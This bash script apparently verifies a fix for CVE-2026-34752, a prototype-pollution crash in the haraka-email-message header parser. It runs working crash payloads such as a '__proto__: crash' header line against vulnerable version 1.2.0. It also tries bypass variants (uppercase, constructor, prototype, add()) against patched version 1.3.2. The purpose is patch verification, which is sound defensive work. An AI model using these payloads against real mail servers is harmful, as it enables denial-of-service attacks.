#!/bin/bash
set -euo pipefail

# CVE-2026-34752 - Variant/Bypass Testing for Prototype Pollution Fix
# Tests multiple variant attempts against both vulnerable and fixed versions

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

echo "=========================================" | tee -a "$LOGS/variant_test.log"
echo "CVE-2026-34752 Variant Testing" | tee -a "$LOGS/variant_test.log"
echo "=========================================" | tee -a "$LOGS/variant_test.log"
echo "" | tee -a "$LOGS/variant_test.log"

# Test directory setup
TEST_DIR="/tmp/haraka_variant_test_$$"
mkdir -p "$TEST_DIR"
cd "$TEST_DIR"

# Function to run a variant test
run_variant_test() {
    local version=$1
    local variant_name=$2
    local variant_payload=$3
    local test_file="test_${variant_name}.js"
    
    echo "Testing $variant_name against haraka-email-message@$version..." | tee -a "$LOGS/variant_test.log"
    
    # Create test file
    cat > "$test_file" << 'TESTEOF'
const EmailMessage = require('haraka-email-message');
const Header = EmailMessage.Header;

const variant_payload = PAYLOAD_PLACEHOLDER;

console.log('[+] Testing variant:', variant_payload);

try {
    const header = new Header();
    const maliciousHeaders = [
        "From: attacker@evil.com",
        variant_payload
    ];
    header.parse(maliciousHeaders);
    console.log('[+] Variant did NOT crash (fixed or different bug)');
    process.exit(0);
} catch (e) {
    if (e.message.includes('is not a function') || e.message.includes('prototype')) {
        console.log('[!] CRASH DETECTED - Variant triggered vulnerability!');
        console.log('[!] Error:', e.message);
        process.exit(1);
    } else {
        console.log('[+] Different error (not the prototype pollution):', e.message);
        process.exit(0);
    }
}
TESTEOF
    
    # Replace the placeholder
    sed -i "s|PAYLOAD_PLACEHOLDER|'$variant_payload'|g" "$test_file"
    
    # Run the test and capture result
    if timeout 10 node "$test_file" 2>&1 | tee -a "$LOGS/variant_test.log"; then
        echo "  [PASS] Variant did not crash the application" | tee -a "$LOGS/variant_test.log"
        return 0
    else
        echo "  [FAIL] Variant triggered a crash!" | tee -a "$LOGS/variant_test.log"
        return 1
    fi
}

echo "=== VARIANT 1: Original __proto__ (should fail on fixed version) ===" | tee -a "$LOGS/variant_test.log"
echo "" | tee -a "$LOGS/variant_test.log"

# Test against VULNERABLE version first (1.2.0) - should crash
echo "[PHASE 1] Testing against VULNERABLE version (1.2.0)..." | tee -a "$LOGS/variant_test.log"

mkdir -p "$TEST_DIR/vulnerable"
cd "$TEST_DIR/vulnerable"
cat > package.json << 'EOF'
{"name": "test-vuln", "version": "1.0.0"}
EOF

npm install haraka-email-message@1.2.0 2>&1 | tee -a "$LOGS/npm_vuln.log"

# Create test file for vulnerable version
cat > test_vuln.js << 'TESTEOF'
const EmailMessage = require('haraka-email-message');
const Header = EmailMessage.Header;

console.log('[+] Testing __proto__ against vulnerable version (1.2.0)...');

try {
    const header = new Header();
    const maliciousHeaders = [
        "From: attacker@evil.com",
        "__proto__: crash"
    ];
    header.parse(maliciousHeaders);
    console.log('[!] UNEXPECTED: Vulnerable version did not crash!');
    process.exit(2);
} catch (e) {
    if (e.message.includes('is not a function')) {
        console.log('[!] EXPECTED CRASH - Vulnerability confirmed in v1.2.0');
        console.log('[!] Error:', e.message);
        process.exit(0);  // This is expected for vulnerable version
    } else {
        console.log('[?] Different error:', e.message);
        process.exit(2);
    }
}
TESTEOF

echo "Running vulnerability confirmation test on v1.2.0..." | tee -a "$LOGS/variant_test.log"
if timeout 10 node test_vuln.js 2>&1 | tee -a "$LOGS/variant_test.log"; then
    echo "  [!] Vulnerability NOT confirmed on v1.2.0 (unexpected)" | tee -a "$LOGS/variant_test.log"
    VULN_CONFIRMS=0
else
    echo "  [✓] Vulnerability confirmed on v1.2.0" | tee -a "$LOGS/variant_test.log"
    VULN_CONFIRMS=1
fi

echo "" | tee -a "$LOGS/variant_test.log"
echo "=== VARIANT 2: __PROTO__ (uppercase) ===" | tee -a "$LOGS/variant_test.log"
echo "" | tee -a "$LOGS/variant_test.log"

# Test against FIXED version (1.3.2)
echo "[PHASE 2] Testing against FIXED version (1.3.2)..." | tee -a "$LOGS/variant_test.log"

mkdir -p "$TEST_DIR/fixed"
cd "$TEST_DIR/fixed"
cat > package.json << 'EOF'
{"name": "test-fixed", "version": "1.0.0"}
EOF

npm install haraka-email-message@1.3.2 2>&1 | tee -a "$LOGS/npm_fixed.log"

# Test original __proto__ against fixed version
cat > test_fixed_1.js << 'TESTEOF'
const EmailMessage = require('haraka-email-message');
const Header = EmailMessage.Header;

console.log('[+] Testing __proto__ against fixed version (1.3.2)...');

try {
    const header = new Header();
    const maliciousHeaders = [
        "From: attacker@evil.com",
        "__proto__: crash"
    ];
    header.parse(maliciousHeaders);
    console.log('[✓] Fixed version handled __proto__ safely');
    process.exit(0);
} catch (e) {
    console.log('[!] ERROR on fixed version:', e.message);
    process.exit(1);
}
TESTEOF

echo "Running test 1: __proto__ on fixed version..." | tee -a "$LOGS/variant_test.log"
if timeout 10 node test_fixed_1.js 2>&1 | tee -a "$LOGS/variant_test.log"; then
    echo "  [✓] Variant 1 (original) - No crash on fixed version" | tee -a "$LOGS/variant_test.log"
    VARIANT1_PASS=1
else
    echo "  [!] Variant 1 may have crashed - potential bypass?" | tee -a "$LOGS/variant_test.log"
    VARIANT1_PASS=0
fi

echo "" | tee -a "$LOGS/variant_test.log"

# Test __PROTO__ (uppercase) - parse() lowercases keys so this should be safe
cat > test_fixed_2.js << 'TESTEOF'
const EmailMessage = require('haraka-email-message');
const Header = EmailMessage.Header;

console.log('[+] Testing __PROTO__ (uppercase) against fixed version (1.3.2)...');

try {
    const header = new Header();
    const maliciousHeaders = [
        "From: attacker@evil.com",
        "__PROTO__: crash"
    ];
    header.parse(maliciousHeaders);
    console.log('[✓] Fixed version handled __PROTO__ safely (keys are lowercased)');
    process.exit(0);
} catch (e) {
    if (e.message.includes('is not a function')) {
        console.log('[!] CRASH - Potential bypass with uppercase!');
        process.exit(1);
    } else {
        console.log('[?] Different error:', e.message);
        process.exit(0);
    }
}
TESTEOF

echo "Running test 2: __PROTO__ (uppercase) on fixed version..." | tee -a "$LOGS/variant_test.log"
if timeout 10 node test_fixed_2.js 2>&1 | tee -a "$LOGS/variant_test.log"; then
    echo "  [✓] Variant 2 (uppercase) - No crash on fixed version" | tee -a "$LOGS/variant_test.log"
    VARIANT2_PASS=1
else
    echo "  [!] Variant 2 crashed - potential bypass found!" | tee -a "$LOGS/variant_test.log"
    VARIANT2_PASS=0
fi

echo "" | tee -a "$LOGS/variant_test.log"

# Test constructor
cat > test_fixed_3.js << 'TESTEOF'
const EmailMessage = require('haraka-email-message');
const Header = EmailMessage.Header;

console.log('[+] Testing constructor against fixed version (1.3.2)...');

try {
    const header = new Header();
    const maliciousHeaders = [
        "From: attacker@evil.com",
        "constructor: crash"
    ];
    header.parse(maliciousHeaders);
    console.log('[✓] Fixed version handled constructor safely');
    process.exit(0);
} catch (e) {
    if (e.message.includes('is not a function')) {
        console.log('[!] CRASH - Potential bypass with constructor!');
        process.exit(1);
    } else {
        console.log('[?] Different error:', e.message);
        process.exit(0);
    }
}
TESTEOF

echo "Running test 3: constructor on fixed version..." | tee -a "$LOGS/variant_test.log"
if timeout 10 node test_fixed_3.js 2>&1 | tee -a "$LOGS/variant_test.log"; then
    echo "  [✓] Variant 3 (constructor) - No crash on fixed version" | tee -a "$LOGS/variant_test.log"
    VARIANT3_PASS=1
else
    echo "  [!] Variant 3 crashed - potential bypass found!" | tee -a "$LOGS/variant_test.log"
    VARIANT3_PASS=0
fi

echo "" | tee -a "$LOGS/variant_test.log"

# Test prototype
cat > test_fixed_4.js << 'TESTEOF'
const EmailMessage = require('haraka-email-message');
const Header = EmailMessage.Header;

console.log('[+] Testing prototype against fixed version (1.3.2)...');

try {
    const header = new Header();
    const maliciousHeaders = [
        "From: attacker@evil.com",
        "prototype: crash"
    ];
    header.parse(maliciousHeaders);
    console.log('[✓] Fixed version handled prototype safely');
    process.exit(0);
} catch (e) {
    if (e.message.includes('is not a function')) {
        console.log('[!] CRASH - Potential bypass with prototype!');
        process.exit(1);
    } else {
        console.log('[?] Different error:', e.message);
        process.exit(0);
    }
}
TESTEOF

echo "Running test 4: prototype on fixed version..." | tee -a "$LOGS/variant_test.log"
if timeout 10 node test_fixed_4.js 2>&1 | tee -a "$LOGS/variant_test.log"; then
    echo "  [✓] Variant 4 (prototype) - No crash on fixed version" | tee -a "$LOGS/variant_test.log"
    VARIANT4_PASS=1
else
    echo "  [!] Variant 4 crashed - potential bypass found!" | tee -a "$LOGS/variant_test.log"
    VARIANT4_PASS=0
fi

echo "" | tee -a "$LOGS/variant_test.log"

# Test via add() method (direct call, not through parse)
cat > test_fixed_5.js << 'TESTEOF'
const EmailMessage = require('haraka-email-message');
const Header = EmailMessage.Header;

console.log('[+] Testing add() method with __proto__ against fixed version (1.3.2)...');

try {
    const header = new Header();
    // Direct call to add() - key will be lowercased and checked
    header.add('__proto__', 'crash');
    console.log('[✓] Fixed version handled add() with __proto__ safely');
    process.exit(0);
} catch (e) {
    if (e.message.includes('is not a function')) {
        console.log('[!] CRASH - Potential bypass via add() method!');
        process.exit(1);
    } else {
        console.log('[?] Different error:', e.message);
        process.exit(0);
    }
}
TESTEOF

echo "Running test 5: add() method with __proto__ on fixed version..." | tee -a "$LOGS/variant_test.log"
if timeout 10 node test_fixed_5.js 2>&1 | tee -a "$LOGS/variant_test.log"; then
    echo "  [✓] Variant 5 (add method) - No crash on fixed version" | tee -a "$LOGS/variant_test.log"
    VARIANT5_PASS=1
else
    echo "  [!] Variant 5 crashed - potential bypass found!" | tee -a "$LOGS/variant_test.log"
    VARIANT5_PASS=0
fi

echo "" | tee -a "$LOGS/variant_test.log"
echo "=========================================" | tee -a "$LOGS/variant_test.log"
echo "Variant Test Summary" | tee -a "$LOGS/variant_test.log"
echo "=========================================" | tee -a "$LOGS/variant_test.log"
echo "Vulnerability confirmed on 1.2.0: $VULN_CONFIRMS" | tee -a "$LOGS/variant_test.log"
echo "Variant 1 (__proto__): $VARIANT1_PASS (1=pass, 0=fail)" | tee -a "$LOGS/variant_test.log"
echo "Variant 2 (__PROTO__): $VARIANT2_PASS (1=pass, 0=fail)" | tee -a "$LOGS/variant_test.log"
echo "Variant 3 (constructor): $VARIANT3_PASS (1=pass, 0=fail)" | tee -a "$LOGS/variant_test.log"
echo "Variant 4 (prototype): $VARIANT4_PASS (1=pass, 0=fail)" | tee -a "$LOGS/variant_test.log"
echo "Variant 5 (add method): $VARIANT5_PASS (1=pass, 0=fail)" | tee -a "$LOGS/variant_test.log"
echo "" | tee -a "$LOGS/variant_test.log"

# Cleanup
rm -rf "$TEST_DIR"

# Overall result
# Exit 0 if we found a bypass (any variant crashed on fixed version)
# Exit 1 if no bypass found (all variants passed on fixed version)

if [ "${VARIANT1_PASS:-1}" -eq 0 ] || [ "${VARIANT2_PASS:-1}" -eq 0 ] || [ "${VARIANT3_PASS:-1}" -eq 0 ] || [ "${VARIANT4_PASS:-1}" -eq 0 ] || [ "${VARIANT5_PASS:-1}" -eq 0 ]; then
    echo "[!] BYPASS FOUND: At least one variant crashed the fixed version!" | tee -a "$LOGS/variant_test.log"
    exit 0
else
    echo "[✓] No bypass found. Fix appears complete." | tee -a "$LOGS/variant_test.log"
    exit 1
fi
